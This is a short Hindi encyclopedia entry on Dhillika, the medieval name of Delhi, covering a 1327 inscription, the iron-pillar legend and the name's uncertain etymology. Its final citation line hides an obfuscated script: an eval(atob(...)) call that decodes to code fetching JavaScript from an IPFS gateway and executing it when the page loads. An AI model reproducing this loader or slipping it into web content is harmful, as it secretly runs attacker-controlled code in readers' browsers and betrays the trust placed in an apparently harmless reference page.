ढिल्लिका
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ढिल्लिका भारत की राजधानी दिल्ली का मध्य युगीन नाम है। 1327 ई. के एक अभिलेख में ढिल्लिका को 'हरियाना' प्रदेश के अंतर्गत बताया गया है-
'देशोस्ति हरियाणाख्या: पृथिव्यां स्वर्गसन्निभ:, ढिल्लिकाख्या पुरी यत्र तोमरैरस्ति निर्मिता।'
अर्थात् "पृथिवी पर हरियाणा नामक स्वर्ग के समान देश है, यहाँ तोमर क्षत्रियों द्वारा निर्मित ढिल्लिका नाम की सुंदर नगरी है।"
- सम्भवत: हरियाणा, दक्षिणी पंजाब, रोहतक, हिसार आदि का इलाका है, जो शायद 'अहीराना' का बिगड़ा रूप है।
- बाद के समय में ढिल्लिका नाम का संबंध एक कपोल कल्पित कथा से जोड़ दिया गया, जिसके अनुसार राजा अनंगपाल के शासन काल में लोहे की लाट[1] के ढीली रह जाने के कारण ही इस नगरी को 'ढिल्लिका' या 'ढिल्ली' कहा गया।
- वास्तव में दिल्ली नाम की व्युत्पत्ति सर्वथा संदेहास्पद है, किंतु जैसा कि उपर्युक्त अभिलेख से प्रमाणित होता है, ढिल्लिका[2] नाम वास्तव में प्राचीन, कम से कम मध्य युगीन तो है ही। दिल्ली वास्तविक या मौलिक नाम का अनुसंधान करने में यह तथ्य बहुत सहायक सिद्ध होगा।[3]
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टीका टिप्पणी और संदर्भ
- ↑ (=महरौली चंद्र की लाट)
- ↑ या संभवत: ढिल्ली
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 384 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>